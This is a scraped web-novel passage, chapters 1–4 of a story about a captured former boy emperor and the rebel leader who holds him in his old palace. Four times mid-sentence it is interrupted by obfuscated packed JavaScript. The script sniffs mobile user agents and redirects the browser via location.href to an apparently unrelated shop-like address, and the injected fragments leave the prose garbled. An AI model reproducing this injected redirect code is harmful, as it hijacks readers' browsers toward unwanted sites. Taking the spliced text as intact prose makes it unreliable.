《万人迷攻的扮演游戏[快穿]》 1. 被起义军俘虏的亡国之君(一) 这个国家貌美又无脑的小皇帝被逼退位了,现在不知道人在哪里,人们纷纷猜测对方应该是被起义军关在秘密监狱里日日折辱以消民怨了。 事实跟他们猜测的也大差不差了。 顾棠确实是被关起来了,但他并没有受到什么虐待和折磨,反而每天都被精细的伺候着,就跟在当皇帝时一样,唯一失去的大概也就只有自由了吧。 对于这点,顾棠从来都没问过那个揭竿而起造自己的反的起义军首领,他其实还挺享受这种每天都有有人伺候着而且还不用天天批折子的日子的。 皇帝的日子那哪是正常人能过的呀?顾棠一直都觉得自己不适合当这个皇帝,但是让他的生母是皇后呢? 先帝驾崩之后,母后背后的家族势力大力推举他上位,让他这个胸无点墨的二混子皇子坐上了这个万人之上的位置。 后来母后因操劳过度去世了,那群舅舅伯伯也一个个失了势,最后导致一切的重担都落在了他身上,偏偏他没有半点当皇帝的天赋,哪怕再努力上进都没有个明君的意思,弄得国库空虚,民间也动乱频生,百姓都不念着他的好,当官的也不好做。 这下子可好,江山丢了,他自己也成了起义军的俘虏,整天都过着提心吊胆的奢侈生活,连能不能见到第二天的太阳都不知道…这段是他幻想出来的。 实际上起义军首领对他还挺好的,每天不缺吃不少穿的,至于提心吊胆…多少还是会有一点的,谁处在这种尴尬的境地都会多少有点。 “小殿下,来用膳了。” 这是赤裸裸的羞辱吧?自己都成了俘虏,哪里还担得起“殿下”这个称呼?除了羞辱顾棠也想不到对方这么称呼自己的第二个目的了。 再者说了,他继位以来都是被人叫做“陛下”的!这人是专门这么叫他给他心里添堵的吧!莫名其妙的就被降了一级什么的… 李清御提着餐盒从大门走进来,看了一眼那个背对着自己躺在床上一动不动的小小身影,心里轻叹一口气。 “别耍小性子了,要是真饿到了难受的还是你自己…你再不起来,我就要亲自喂你了。” “你变态!” 顾棠红着眼睛从床上坐了起来,反手就抄起刚才枕着的玉枕丢了过去,那玉枕在即将落地之前被李清御捞进了怀里,枕头上残留的温度也顺着掌心传导进了他全身。 他愣了一下,把餐盒放在桌上,换成了双手抱着的姿势稳稳的接住,然后低下头看了看怀里的玉枕。 上面属于顾棠的温度已经慢慢散去了,只残余了一股莫名的香味,缓慢的飘散在空气中,一部分被他吸入鼻腔,顺着气管进入他的肺部,刺激着他的肺叶。 被娇生惯养着长大的小皇子所有的吃穿用度基本都是顶格的,养得一身玉骨冰肌,就连体香都格外诱人,让人稍不注意就会被晃了神、迷了眼,更甚者被勾的失了心智。 顾棠算得上是暴君吗? 没有人真的把自己在世上遭受的一切不公与苦痛算在他身上,当今的农民种地只用交很少的税款,基本的温饱还是可以维持的,只是每个社会都会有一些偷偷耍滑的人,不愿意踏踏实实的干农活,非要搞些鸡鸣狗盗的勾当。 世道就是让这些人搞得乱起来的,官家想过制止,但是因为国库空虚,国家没有那么多的金银供养那么多宫人和军队,这就展现出巨大的实力差距来了。 李清御也就是趁着这时候收服了几个山头的土匪一点点扩大着自己的实力的,后来又勾结了皇城周遭的城池的官兵,再后来就是攻陷了皇城将龙椅上的少年变成了起义军的俘虏。 李清御其实没打算留着这少年帝王的性命的,因为他知道自己是野路子出生,就算真坐拥了江山也会被千夫所指,所以前朝的余孽万万留不得。 但他的想法从见到缩在龙椅后面连头都不敢露只知道瑟瑟发抖的可怜小皇帝时就开始动摇了。 跟着他闯进大殿的那群起义军也劝说他,叫他不要把事情做绝,说不定还能换来个“挟天子以令诸侯”的名号,怎么着也比“逆贼”云云的要好听上许多。 李清御盯着面前的少年看了良久,然后抬起剑一剑劈碎了对方倚靠着的龙椅,收剑入鞘,动作一气呵成。 那少年还是被吓得不轻,小脸苍白极了,长长的睫毛都在颤动着,几滴晶莹的泪珠要落不落的挂在上面,葱白的手指紧紧攥着胸前的龙袍…… 铁石心肠如他也会有刹那的心软,就更别提跟在他身后闯进大殿里的那群弟兄了,一个个都看直了眼,劝起他来更起劲了。 李清御冷着脸盯着少年看了半天,最终还是妥协了,亲自抱起对方,一步步往寝宫的方向走去。 “寝宫”自然是这小皇帝的寝宫,因为年少的遭遇,李清御这个人多少都有点洁癖,接受不了住别人住过的地方,所以他也没想过要抢占顾棠的寝宫。 正好,这地方就留着作为对方的囚牢吧,也算发挥一点余热了。 李清御一脚踹开寝宫的大门,朝床边走去,俯下身将怀里人安稳的放了下来。 他这一路走来怀里的人就没有停止过颤抖,那抖动的频率也影响了他自己心跳的频率,让他产生了一种奇怪的感觉。 “你现在就拟定圣旨将皇位传于我,我就饶你一命,让你待在这皇宫里继续享受荣华富贵…要是不愿意的话以后你享受的就会是阶下囚的待遇了,你最好想好了再回答。” 李清御扬声威胁道,声音有很强的穿透性能,清晰的让门外的人听到,这也正是他的目的。 作为跟他一同起义的同僚,他总要摆出个态度来,这时候要是对“敌人”态度太过温和会伤了弟兄们的心,让他在军中的威信下降,那他这一路上的付出和表现出来的仁厚就白费了。 顾棠吓得浑身一颤,把头埋进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479726|201669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀里一动不动,可怜巴巴的一句话都不敢回,生怕说错了什么触怒对方。 他觉得自己可真命苦,明明就没有那个当皇帝的心思和能力,还非要被推到前台逞这个能…现在好了,江山也丢了,他自己也被俘虏了… 真是什么都不好当啊…当皇子还要天天被考察君子六艺,当皇帝也不得安宁,不仅要为偷奸耍滑的大臣擦屁股,还要承担各种骂名。 “想好了吗?”李清御站在床边看着他,眼神冷漠中带着一丝复杂。 顾棠又是一抖,颤颤巍巍的伸出一根嫩白的手指指了指自己身下的床。 他实在是不想亲口说出让皇家蒙羞的话语,只希望眼前这个凶巴巴的男人能明白他的意思,不要再为难他了。 “留下来?很好,看来你还不算蠢的无可救药。” 李清御冷笑了一声,深深看了他一眼,然后缓步走出了寝宫,“嘭”的一声关紧了门。 门外的兄弟们都纷纷对他露出敬佩和崇敬的表情,心里暗叹他们首领还真是铁石心肠,面对着这么漂亮的一个小美人儿都能面不改色的放狠话。 李清御要的就是这个效果。 同时,门内的顾棠小心翼翼的抬起头看向门口,犹豫了好半天都没有勇气下床走过去,只好像个小鹌鹑似的缩进了被子里,双眼紧闭,强迫自己睡着。 这样就不用再面对现在的境遇了… 顾棠是个胆小鬼,他实在是太害怕受折磨了,只要意识清醒着就会一直为此忧心,睡着了就好了…睡着了就可以暂时忘记所有忧愁了。 …… “那你就自己下床吃饭,千万别给我可乘之机。” 李清御走到床边俯视着他,把怀里的玉枕板板正正的摆放在床头的位置后转身就走,完全不带丝毫犹豫的。 他这幅态度多少会让顾棠安心些,这是他这么多天以来摸索出来的规律。 等到门口彻底没了动静顾棠才慢吞吞的从床上爬了下来,坐在桌前认认真真的吃着饭。 一口菜,一口饭。 从前他每道菜都不会尝超过三口的,最近也慢慢板过来这个坏习惯了。 这事实在怪不得他。 因为他十六岁那年某次宴席上他多吃了两块桌上的糕点,结果隔天就有人在御膳房送来的那样糕点里下了毒,顾棠遭了好一番罪才从鬼门关里被救回来,那次过后他就不怎么敢在大庭广众之下展示自己的偏好了,也就养成了这个“浪费”的习惯。 现在他一点也不担心被下毒了,因为他已经不是皇帝了,李清御想要他的性命一刀斩了他就是,根本不需要费劲的下什么毒。 半个时辰后,李清御推门而入,他先是看了一眼桌上被动过的饭菜,心里一松,收拾好桌子,提起餐盒,离开之前又看了一眼床上蜷缩着的顾棠。 “别总在屋子里闷着,出来逛逛吧,外面阳光很好。” 2. 被起义军俘虏的亡国之君(二) 顾棠缩在床中央一动不动。 李清御很想走到床边一把就抄起他往屋外去。 但是上次他这么做了之后,顾棠整整半个月都没理他,无论他说什么这小皇帝都不搭腔,给他吓得立马叫了宫里的几个太医来给对方做检查。 检查结果是长期以往下去的话顾棠会郁结于心,身体日益虚弱,精神逐渐萎靡下去,最后郁郁而终。 李清御听完太医的描述后心里狠狠一揪,一连好几天都没敢再出现在顾棠面前,就连给顾棠送饭也是托自己的一个亲卫代劳的。 李清御说完后在门口站了半天都不见顾棠出来,心中微叹,转身出了院子。 因为心里想着事儿,他并没发现有个人影在他走后悄悄潜入了顾棠的寝宫。 “陛下,我来了。” 听见熟悉声音的顾棠蹭的一声从床上坐了起来,几乎是迫不及待的转过身子看着他,眼圈慢慢变红,然后从床上跳下跑向他。 “你怎么才来呀?我都要烦死了!你都不知道那个李清御有多过分…” 来人正是那名李清御身边的亲信,平常他惹顾棠生气之后都会派对方来代替自己送饭,因为太信得过这个一起长大的好兄弟了,他从来没想过对方会背着自己和顾棠熟络起来。 庆麟其实也不想的。 李清御这一路走来有多不容易他再清楚不过了,他也是打心底里敬重这位兄弟的,可以说李清御能拥有如今的威望他也出了不少力,这也是李清御为什么这么信任他的原因。 “你到底有没有在听我说话?不是说好会想办法救我出去的嘛…” 庆麟回过神来,眼神有些飘忽,无意间扫到了他踩在地上光裸的脚丫,眼前一亮,就着这个姿势把他抱了起来往床上走去。 “陛下,不可以光着脚下地,会着凉的。” 边说他边单膝跪地帮顾棠穿着鞋袜,把姿态摆的很低,手指不经意划过柔软细嫩的脚心,顾棠缩了下脚,小小的踢了他的膝盖一下。 他没敢太用力,因为在这儿他人生地熟的,能依靠的除了眼前的人再也没有第二人了,要是把这人惹毛了他恐怕再也没有逃出去的机会了。 之前在皇宫里本本分分的做皇帝已经够无聊的了,成为俘虏的日子对他来说更是煎熬,虽然没收到那些皮肉之苦,但是精神上的压力也够他受的了。 他从小就向往着那种无忧无虑的田园生活来着…天亮了出去挖挖地,天黑了就睡觉,多好啊? 但他并不觉得自己一个人在外面能活得下去,所以才会想能有人带他出去,比如眼前这个很有可能被他说服成功的李清御的“走狗”。 这人一见到他就直接叫了“陛下”,顾棠听着觉得顺耳,连带着对他的观感也好,就起了拉拢的心思,就他目前看来还挺成功的。 “我带您出去晒晒太阳吧,总闷在房间里会长小蘑菇的。” “不要拿我当小孩子了!”谁会相信人身上能长蘑菇啊! 顾棠撑着床自己下了地,没有叫他继续扶着,脚步轻快的直奔门外。 庆麟是真见过人长蘑菇的。 他小时候还去人坟头上捡过蘑菇呢,当时他还没觉得有什么,回去从母亲那里知道了自己白天竟然误闯了乱葬岗,他就被吓出了一身的冷汗,还一连发了好几天的烧。 想想也是,他们住的地方穷乡僻壤的,又遇上了荒年,树皮都被扒个干净了,那还能有正常地方长那么多蘑菇还没被采过呢? 庆麟从衣柜里随便拿了件外套追了出去,与他并排走着。 寝宫外面花团锦簇,全是顾棠喜欢的花,不知出于什么心理,李清御竟然没有毁掉这些华而不实的东西,还每个月都找人照顾这些花。 “为什么要逃走?新帝对你不好吗?” 顾棠瞪大眼睛看着他,像是在奇怪他为什么会这么问。 “你看不出来吗?我都表现的这么明显了!再说,他哪里对我好了?我倒宁愿他当时一剑杀了我…” “别说这种话!” 他突然提高的音量把顾棠吓了一跳,下意识浑身紧绷了起来,眼睛都瞪圆了,清澈的眸底荡漾着戒备和慌乱。 庆麟深呼吸了一下,缓和语气哄他。 “陛下…您一定要活的好好的,再等几天我就找机会带你走。” 顾棠马上点头,像是生怕他反悔一样,庆麟凝神盯紧他的眼睛,依稀从中看出了一丝狡黠。 这个无依无靠的小皇帝竟然已经学会靠装可怜来达到自己的目的了…啧。 也就仗着自己愿意哄着他玩吧,要是换做了李清御那家伙肯定不会像自己一样怜香惜玉。 庆麟就这么安安静静的陪顾棠在院子里赏了一会儿花,直到顾棠开始往外推他。 “你快走吧,待会儿李清御那个家伙又要来送饭了…要是让他看到了肯定要处罚你的!” 腰腹间的小手是温热的,并不重的力道,根本不足以推动他,但庆麟还是配合着他的动作出了院子。 “您好好保重,我过几天再来看您。” 听到这话,顾棠眼神暗淡了下去,有气无力的冲他挥了挥手就低垂着头回了房间。 真是狡猾的家伙…没想到自己都这么低声下气了对方还是不愿意带自己走!之前的温顺都是骗人的吧?这人肯定是李清御派来间谍! 顾棠垂头丧气的坐在饭桌前,一只手撑着下巴,双眼无神的看着桌上的茶盏,直到眼前除了那只精致的青花瓷茶杯以外的一切都变得模糊起来。 他难道一辈子都要过这种混吃等死的无趣生活了吗? * 就这么又平淡的度过了一段时间,某天,李清御突然推开寝宫的门。 “你不是想出去吗?乖乖吃饭,一会儿我就带你去皇城里逛逛怎么样?” 他把食盒放到了桌子上,这次还没等他有所反应顾棠就呲溜一声从床上滑了下来,轻飘飘的走到桌前坐下,拿起筷子就埋头吃了起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479727|201669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“慢点吃,又没人跟你抢…别光吃饭,也吃点菜。” 顾棠看了他一眼,伸筷子去夹桌上的菜,与米饭一同放入口中。 可能食欲也跟心情有关系吧,明明菜色一点都没变,他却觉得今天的饭菜格外可口。 第一次看他吃得这么香,李清御心里竟然还有点欣慰。 顾棠吃完后摸了摸肚子,感受到那里鼓起了一点弧度后又慌乱的松了手。 话说他都好久没吃这么饱过了…肚子胀胀的,有点难受。 但是他此刻满心满眼想的都是一会能出去逛逛,终于能看上生面孔的云云,那点不舒服他完全可以忽视掉。 但他这点小动作哪里逃得过李清御的眼睛?从进屋起,这人的眼神就没有从他身上移开过,把他的一举一动都看在眼里。 他当然知道顾棠一直都想逃跑,他有时也会为此苦恼,但是思来想去又毫无办法。 他怎么能不能把好不容易打下来的江山再还给对方吧?那他这一年多的征伐又算什么?算他闲的吗? 但最近他突然清醒了。他觉得也许自己可以从别的角度找补一下,至少要让顾棠的抵触情绪不那么强烈。 反正他是绝对不可能放对方离开这里的,不仅仅是因为地位不稳的隐患,更是因为…这小皇帝从小就锦衣玉食的,在外面绝对活不过半个月,他也是为了对方着想。 为自己找到个冠冕堂皇的理由后,李清御伸长胳膊一把把顾棠搂进自己怀里,把他按在自己腿上轻轻揉着他的小肚子。 李清御这一系列动作完成后,不仅是顾棠愣住了,他自己也有片刻的怔愣。 真软…跟棉花一样,手按在上面感受到的阻力很小,几乎整个手掌都要陷进去了。 “你…你干什么?!”顾棠吓了一跳,惊呼出声,四肢也开始在他怀里乱蹬。 “伺候你啊,怎么…以前没有下人帮你揉过肚子吗?那你可真不会享受,这样很有助于消化的。” “…真的?”不是单纯的想找个机会侮辱他? 顾棠怀疑的仰头盯着他看,看了半天才轻哼一声,不再挣扎。 肚子上的手掌烫烫的,滑动之间确实让他胃里舒服了不少…难道他以前吃多了总会难受就是因为消化不好吗? 顾棠有时候很单纯,特别是在某方面,因为从小到大从来没有人教育过他这方面的知识,他几乎等同于一张白纸。 “这么看,你倒是一点也不像一个昏君…”李清御垂眸看向他,逆着光,眼底的神色让人看不真切。 “我当然不是…”反驳的话突然止住了,因为顾棠突然意识到了自从他登基以后百姓的生活确实…没有变得更好,反而越发水深火热了。 “就是蠢了点,其是本性并不坏。” 顾棠瞪大眼睛想了半天都没想出来什么话能反驳的。 话说好像确实是这样,他确实没有他的父皇聪明,连那几个和他同父异母的兄弟要比他强上许多…但还是很气。 3. 被起义军俘虏的亡国之君(三) 小腹处暖融融的奇妙感觉让顾棠昏昏欲睡,他上下眼皮打了一会架,然后慢吞吞的完全合上了。 等他再次睁眼的时候已经是半个时辰以后了,他迷迷糊糊的仰起头,就看见李清御还保持着抱着他的姿势。 他一下子清醒了过来,挣扎着下了地。 “醒了?马车已经备好了,一会儿我们就出宫。” 于是顾棠刚升起一点的被欺骗后的怒火就这么消弭于无形中了…没办法,他还是太善良、太好哄了。 一路上顾棠都想掀开帘子伸头出去看看外面的景象,然后又被李清御以车马颠簸、担心他的安全为由一次次搂着肩膀按回马车。 就这么重复了两三次,顾棠就安安分分的坐在马车里不说话了,眼睛睁着,直勾勾的盯着自己的脚尖发呆。 反正也不差这么一会了,李清御总不能到地方了也让他只能坐在马车里吧? 虽然是敌人关系,但是他意外的觉得这人人品方面还挺可信的,应该做不出来出尔反尔那种事。 果然跟他想的一样,到了京城最繁华那条街上,李清御主动停下车,甚至很自觉的扶着他下了马车。 顾棠居高临下的看了他一会儿才不紧不慢的搭上他的手下了车。 被俘虏以后,除了被庆麟伺候着穿了两次鞋袜以外,他已经很少用这种角度看人了。 他在心里叹了口气,才刚升起点惆怅的心思就被眼前来来往往的商贩吸引住了全部心神。 好多人!他情不自禁的发出一声感慨。 他当皇帝的时候也没出来逛过,因为那些个大臣都怕他在外面被刺杀了暗卫来不及护卫——顾棠有时候真的很疑惑,自己有那么招人恨吗? 等到李清御带人造了他的反,顾棠才对自己的可恨程度有了清晰的认知。 或许不是他本身怎么怎么样,而是皇帝这个身份所必须承担的责任和骂名。百姓过得不如意了就会想着反抗或者报复,而最好的报复对象就是他这个皇权的代表。 换位思考一下,如果他是那些老百姓,只能混个温饱,还时时要为自家会不会被土匪打劫而心惊胆战…除了恨那些匪徒和不作为的官员外,他可能也会将一切都归咎于统治者。 “来,拉着我的手,小心被坏人拐跑了。” 顾棠不情不愿的挣扎了两下就由着他了。左右不过是牵个手而已,他小时候逛个御花园都要被身旁的太监牵着手的! 他从没寄托希望于自己能甩开李清御逃跑,因为他坚信自己没有那个智商,况且那样危险系数也太高了,他还是皇子的时候就梦想着远离世间所有纷扰,然后死得其所。 顾棠左看看右看看,眼前琳琅满目的商铺让他眼睛都看不过来了。 最开始,他还是单纯的看路边那些小摊的,但人群里突然闪过的一个熟悉身影让他眼珠不自觉偏了过去,那人也注意到他了,先是怔愣,然后满脸惊喜的看着他。 “我要吃糖人!你去给我买好不好?”顾棠扯了扯李清御的袖口,指着前面那个被十几个人围着的小摊。 李清御注意到他眼睛都发直了,看上去是真的很想吃那家的糖人。 “那你能保证在这里乖乖等着我吗?”李清御还是有些犹豫,轻轻将手按在他肩上,低头与他对视。 顾棠点点头,自觉的走到路旁站着,眼巴巴的看向他这边。 李清御一步三回头的朝买糖人的摊子走去,很快就被挤进人群里连转个头都费劲了,就在这时,云憬州匆匆赶了过来。 “陛下!您还活着…” 眼看着他几乎要落下泪来,顾棠连忙搂住他的脖子让他低下头离自己更近一点。 “别叫我陛下了,我现在就是个阶下囚…不过你不用担心啦,我没事,他们没伤害我,就是关着我不让我出宫而已。” “那您今天怎么…” 云憬州看着就一幅文绉绉的模样,整个一玉面书生,顾棠对他的印象也一直停留在朝堂上的口若悬河,并不觉得他能打得过浑身精悍之气的李清御。 至于求救什么的…完全没有在他的考虑范围之内。 万一李清御恼羞成怒了以后再也不让他出来了怎么办?又或者他一句求救就害得对方也陷入险境了呢?让他一下子再承担好几条人命他是不愿意的。 顾棠这并不是善良。事实上他对待宫里伺候自己的太监和守着城门的那些宫廷侍卫从来都是趾高气昂的,因为从小母后就教育他要有皇家的气节,不能总对别人和颜悦色的,要不然就会被看不起。 后来母后又告诉他要以自己的生命安全为重,为了活命,一时的妥协和退让是可以被允许的,也是不犯皇家忌讳的。 被李清御逼宫那天,宫里血流成河,不到两个时辰就死了上百人,剩下一大半都逃了,李清御没有让人去追。 这些天里顾棠反思之后反而觉得自己是有点自私的,当时他只顾着为幻想中自己的遭遇感到恐惧,潜意识里似乎根本就没把那群太监和侍卫的命当成命。 母后总说那些人对皇家忠心是应该的,顾棠也从来没细想过自己配不配得上那些人的忠心,等真蒙了难了才能知道之前的想法有多可笑。 “我不知道该怎么跟你说,反正我和这人现在已经算是相安无事了,你看,我都能出来逛街了,你真不用担心了。” 顾棠眼尖扫到李清御已经凭借健壮的身形挤到了队伍最前头,心一下子就提了起来,手上用力推着他。 “行了行了,没什么事你就先走吧,我也逛累了要回去休息了!” 云铮州敏锐的察觉到了他情绪的变化,但没有声张,而是顺着他的力道往巷子里走去,在进入拐角时又突然停下,扒拉在墙边看向他所在的方向。 李清御手里高举着两根糖人的签子从人群中挤了出来,直奔顾棠这边,眼神扫过他周围,没发现陌生人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479728|201669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才放下了心。 “给你。”李清御停在他面前,将手里的糖人递给他。 顾棠欣喜的接过,将上面的动物图案翻来覆去看了半天,砸吧砸吧嘴,却只在手里拿着,没舍得吃。 “吃吧,以后我还会带你出来的,我们可以再买。”李清御握住他的手,将糖人抵在他嘴边。 顾棠舔了舔唇上沾着的糖霜,甜丝丝的,还有一股焦糖的独特香味,他忍不住咬了一大口。 他眯起眼睛吃着糖人,李清御盯着他看了一会儿,随即默默移开视线,拉着他另一只手慢悠悠的往马车的方向走去。 如果能每天都这样就好了。 第二天,李清御独自来到顾棠的寝宫外面,看着屋子周围纸糊的窗户,决定第二天就找些材料亲自翻修一下这里。 现在是夏天,夜晚空气中也只有一点凉丝丝的风,可再过几个月就要到萧瑟的秋天了,一想到顾棠会因为受了风寒而缩在床角红着眼睛瑟瑟发抖,他心里就一阵阵的抽痛。 真稀奇,他竟然也会对根本没发生的事担忧了…李清御突然觉得有些好笑。 今天一大早,他的好兄弟庆麟突然找到了宫里,赖在书房缠了他半天,还说担心他累到,想要帮忙去给顾棠送饭。 李清御面无表情的放下手中的毛笔,起身,玄色镶金丝边的衮袍随着他的动作垂下。 “要真想让我轻巧点,就帮我把这堆奏折批了吧。” 看着桌上有半个人高的奏折,庆麟勉强扯动了下嘴唇,脸上的表情比哭都难看。 “好兄弟…你可真信得过我啊!” 这里是两天堆积下来的奏折,因为昨天答应带顾棠出宫,他一整天都没心思干正事,今天早上快天亮的时候才想起来这出,起了个大早就来了御书房。 他对处理公务还算上心,很大部分原因是因为一想起顾棠以前也坐在这儿为怎么回复奏折而苦恼他就热血沸腾,效率一路拔升。 于是庆麟就代替李清御留在御书房面对着一大摞奏折头疼,李清御则是脚步轻快的去了御膳房搜刮要给顾棠带的吃食。 顾棠还在睡觉,被子被他蹬到了床下,而他整个人都保持着一种极其不可思议的角度在床上扭曲着,李清御在门口站着看了半天都想不出来他是怎么摆出这种姿势的。 他轻手轻脚的关上了门,走到桌旁坐下,手里的食盒被他放在了桌上,食盒的盖子被他掀开了一角,里面的小菜散发出诱人的香味。 顾棠在床上皱起了眉,鼻尖动了动,似乎是闻到了什么味道,他忙用被子蒙住了头,脑袋往被子里拱了两下,又不动了。 当皇帝每天都会被狠狠压榨睡眠时间,一天两个时辰是常事,他还在长身体的年纪,怎么受得了?会缺觉是一定的了。 也许是以前欠的觉太多了,被成了俘虏之后他每天都要睡五个时辰以上,有时候从天黑就开始睡,等醒了都日上三竿了。 4. 被起义军俘虏的亡国之君(四) 李清御也没叫他,就这么坐在离他两三米远的地方撑着下巴垂眸盯着他看。 顾棠睫毛颤抖了几下,睁开了眼睛,捂着有些胀痛的脑袋坐起身,刚一扭头就撞上了他带着些侵略性的直勾勾目光。 “你…你看什么看?”顾棠连忙缩进被子里恨恨的瞪向他。 “没什么。” 李清御极其自然的移开视线,把食盒里的小菜一碟碟摆出来。 顾棠瞪着他看了半天,眼睛都酸涩了才放弃,闷闷的溜到床边,一只脚刚要伸出去就被李清御眼疾手快的一把攥住脚腕。 “小心着凉…怎么每次都要我提醒你?你是不是就等着指使我帮你穿上鞋子呢?” “我才没有那么坏!是你自己思想龌龊才对。”顾棠这次没有挣扎,乖乖让他帮着穿好了鞋。 昨天才刚出过宫,他这几天打算安分一点,好好享受一下悠闲自在的时光。 被李清御伺候着用完早饭,顾棠心情还不错,搬了把小椅子坐在院子里纳着凉,李清御则是跟个侍卫一样笔直的站在他身后。 突然有个小太监匆匆小跑过来跟李清御汇报了什么,顾棠就看着他的脸色一下子阴沉了下来,留下一句“在这乖乖待着”就脚步匆匆的离开了小院。 这又是哪边的蛮夷打过来了?李清御脸色竟然这么凝重,看来发生的事儿还不小呢。 以前这些事情都是由他考虑的,每次在打和不打上他就要纠结好久。 打吧,劳民伤财,还很有可能打场败仗回来后割地赔款,不打吧,朝廷上那些主战派又要天天戳他脊梁骨。 现在烦的人变成别人了,而且看李清御这样子,怎么样也比自己强多了,肯定能打个胜仗回来吧。 也挺好。至少百姓能安定下来,再也不用跟着自己受苦了。 顾棠在小椅子上坐累了,又跑到院子中间那个躺椅上躺着,睁着眼睛望着天,眼神空洞洞的,似乎在发呆。 正当他陷入了自己的思考中无法自拔的时候,就听院门那里突然发出“吱呀”一声清响,似乎是院门被推开了。 接着,一阵风刮过,一股让他莫名熟悉的冷香传了过来,顾棠惊了一下,睁开眼睛就见他那个常年在外征战的好友正红着眼睛站在他面前。 对方的身形还一如当年一般挺拔,只有脸上的胡茬暗示着这一路赶来有多仓促和紧迫。 “你怎么样?有没有受伤?他们有没有做什么过分的事?” 佟胥半跪在他面前,蒲扇般的大手按住他的肩膀左右打量着他,眼神里交织着心疼与懊悔。 佟胥是前年主动请缨去前线的,因为不忍心让顾棠整日受边关的战事烦扰,他这两年一次都没有回来过,却没想到一回来就得道了顾棠被起义军囚禁在皇宫的消息。 为了避免引起恐慌,他是只身一人回来的,刚进入城门的时候就被一个熟人拦了下来。 来人是云憬州,以前经常缠着顾棠的一个话痨,仗着自己有几分识文断字的本事,在朝堂上挂了个不上不下的闲职,在佟胥眼里就是个整天混日子的二世祖。 两人之前属于互相都看不上对方的那种关系,但是两人又都是顾棠的臣子,而云憬州目前能想到的唯一一个能将顾棠救出来的人就是他了。 他的陛下虽然说没受什么苦,但是怎么可能呢?就算没有身体上的折磨,那精神上的折磨也够折腾人的了,顾棠从小就娇生惯养的,从来没吃过苦… 自己一定要想办法救他出来。 云憬州回家想了一个晚上,终于得出了这个结论,于是他很快就展开了行动,跑去游说之前跟顾棠意见相符的众大臣,一番动员之后营救行动还是没有丝毫进展。 正当他一筹莫展的望着城门口发呆的时候,佟胥出现了,他立马就像看见了救命稻草一样冲了过去把对方拉进路旁一个茶馆的角落里坐下,将皇宫里发生的一切都和盘托出了。 佟胥的行动力很强,第二天就只身潜入了皇宫,留云憬州在城门口的马车里随时准备接应。 他其实更倾向于直接带顾棠走,但云憬州又偏偏在这场行动里也出了力,为了表现的宽容一点,他到目前为止还是没打算违背两人之前的约定的。 先带陛下走,回到边疆再召集军队攻打回来,帮陛下夺回皇位。 “我没事,倒是你…你不是在边关吗?怎么不跟我请示一声就…”此话刚一问出口顾棠就收了声。 他一直被囚禁在寝宫,又哪里能接得到外界的消息呢?恐怕佟胥曾经为两人之间传递书信方便些而养的那些鸽子还没等进入皇宫的就被李清御带来的人击落了。 “是云憬州找到我告诉了我你的情况的,让我和他里应外合救你出去,他现在就等在皇城门口。” 顾棠还有些没反应过来就被他一把抱起往院子外面走去,一路上都没遇到什么危险,这皇宫里也不知是出了什么事,一大半侍卫都被抽调走了,所以他们几乎不费吹灰之力就逃出了宫。 随着皇宫厚重的宫墙从眼前一点点消失,顾棠眼前似乎已经出现了名山大川以及鸡犬相闻的美好田园生活的缩影了… 顾棠眼睛亮亮的从他怀里探出头回头望去,只觉得心情都舒畅了。 恍惚间好像看到了一个熟悉的身影,但他已经没心思去管了。 他太累了,虽然一路上佟胥都没忍心让他走哪怕几步路,但神经从长时间的紧绷状态中被解放出来,是谁都会先恍惚一阵子的。 等到云憬州终于看见远处有两个身影交叠在一起朝他飞奔过来时太阳已经快落山了,周围的一切迅速变得昏暗,如果不是靠的极近,几乎看不清对面人的长相。 “小心着点,别摔了…” 云憬州忍不住下马车去接,但佟胥却躲开了他的手,俯身进入马车,把顾棠安安稳稳的放在了柔软的垫子上。 “陛下怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479729|201669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么样了?” “睡了一路,现在还迷糊着呢,这些日子应该是没少受苦。” 说着,佟胥一屁股坐在了他原本的座位上,看了一眼帘子里的人,眼神里划过一丝心疼。 “那些恶徒真是过分…”云憬州钻进了马车,小心翼翼的合拢上帘子,不让外面的风吹到顾棠。 